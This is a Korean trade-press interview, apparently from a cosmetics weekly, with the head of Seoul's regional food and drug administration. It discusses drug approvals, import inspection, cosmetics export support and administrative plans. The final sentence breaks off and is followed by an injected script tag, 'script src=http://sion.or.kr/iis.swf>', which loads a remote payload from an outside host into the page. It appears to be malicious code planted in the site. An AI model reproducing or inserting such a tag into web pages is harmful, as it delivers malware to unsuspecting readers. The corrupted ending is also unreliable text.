효과적인 민원시스템 구축과 서울청의 위상에 걸맞는 행정체계를 갖추기 위해 목동에 신 청사 건립을 적극 추진하는 등 분주히 뛰고 있는 최 청장은 가장 기억에 남는 일로 ‘기적의 약’이라 불리는 만성골수성백혈병 치료제 ‘글리벡’의 허가와 관련한 에피소드를 꼽았다.
서울지방 식품의약 행정의 총책임자가 된 지 2달이 돼가는데
▶지방청 중 선임의 위치에 있는 서울지방 식약청장으로서 막중한 책임감을 느끼고 있다. 특히 서울청은 전체 화장품 및 의약품 등 수입자의 82%를 관할하고 있어 국민 건강 지킴이로서 막중한 소명감을 갖고 있다. 따라서 이에 걸맞는 행정을 펴 나갈 것이다.
이를 위해 우선 기존 정책사업의 원만한 수행을 위해 기 사업추진에 어떤 어려움이 있었는가를 정확히 파악하는 것이 중요하겠다. 사업 수행 최일선에 있는 우리 청 직원들과 많은 대화와 토론을 하고 관련업계 및 학계 등의 의견 수렴과정을 거쳐 이 같은 문제를 적극적으로 개선해 보완해 나갈 것이다.
올해 남은 기간 서울지방의 식약행정을 어떻게 마무리할 방침인지
▶우리 청의 주요사업은 크게 식품·의약품부문, 검사부문, 행정지원부문으로 구분할 수 있는데 그 추진내역은 이렇다.
우선 ‘의약품 등 제조·수입자 인터넷 자율점검제’를 더욱 더 지속적으로 추진해 나갈 방침이다. 지난 상반기 자율점검 실시결과 1천60개소가 참여해 성공리에 정착되고 있는 것으로 평가됨에 따라 이의 효율성을 보다 높일 예정이다.
검사부문에서는 식품·의약품 등의 품질보증을 위한 시험분석업무 활성화 차원에서 본청 주관 R&D 사업에 적극적으로 참여할 것이다.
또한 독립청사 신축 사업을 적극적으로 추진하여 쾌적한 근무환경 조성으로 관할구역 내의 식약 안전을 위한 감시·검사 기능의 효율성을 도모하겠으며, 아울러 고객감동을 위한 지속적인 민원환경의 개선사업을 추진할 것이다.
화장품산업의 대외경쟁력 강화 방안이 있다면
▶화장품산업은 기술적인 부분에서 마케팅, 예술적인 측면들이 망라되는 종합산업이다. 때문에 정부차원의 전략수립과 개발·수출 등의 지원책을 펼쳐야 할 것이다.
본청의 관련부서가 중심이 되어 다음과 같은 구체적인 방안들을 준비 중이다. 자치단체와 연계한 공동 연구개발을 추진하는 등 수입의존도가 높은 국내 화장품 원료를 대신할 신원료 및 신제품 활성화를 위한 지원을 강구할 것이다.
또한 수출지원을 위해 해외 전시회 등의 적극적인 참여를 유도하고 각국의 관련 정보를 제공하여 수출시장이 다변화될 수 있도록 하며 수출기여가 큰 업체에 대해서는 지원방안을 마련할 것이다.
지방 식약청 행정의 전문화·특성화 정책은 어떻게 돼 가는지
▶서울청은 지역 특성상 전체 수입식품 신고업무 중 80% 이상이 집중돼 있다. 이에 따라 수입식품의 안전성 강화와 민원기간 단축을 위해 올 초부터 실시해 온 3S운동(Smile 고객감동 민원행정, Speed 신고처리기간 단축, Smart 검사업무 전문화)을 적극적이고 지속적으로 추진해 나갈 방침이다.
또한 식품의약품 등의 수입 및 유통의 상당부분이 우리 청 관내에 있으므로 적발위주가 아닌 공정하고 투명한 감시체계를 통해 무허가 불법 제조·수입업소를 제도권 내로 진입하도록 유도하고 있다.
다만 서울식약청이 발족 4년 반을 맞았으나 60여 명 남짓한 청 직원만으로 서울·경기북부·강원도 지역을 효과적으로 관할하기에는 다소 행정력이 부족하므로 안전한 식품의약품 공급을 위한 행정의 성공적 수행을 위해 명예감시원과 소비자단체, 일반시민 등 지역민의 협조가 더없이 필요하다.
끝으로 주간 코스메틱 독자들에게 한 말씀
▶식약청은 물론 서울청은 그 어느 때보다 국민 및 업계의 소리에 귀 기울이기 위해 노력할 것이다. 업계의 애로사항 및 요구사항을 정확히 수렴해 정책에 반영하기 위해 향후 업계 및 관련단체와의 직·간접 간담회 및 토론회를 수시로 개최하겠다.
또한 소비자단체 등 유관기관과 각종 협의회도 더욱 활성화시킬 것이다. 관련분야의 전문가 의견을 심층적으로 반영하기 위한 본청에서 주관해 시행 중인 ‘정책 포럼 및 전문?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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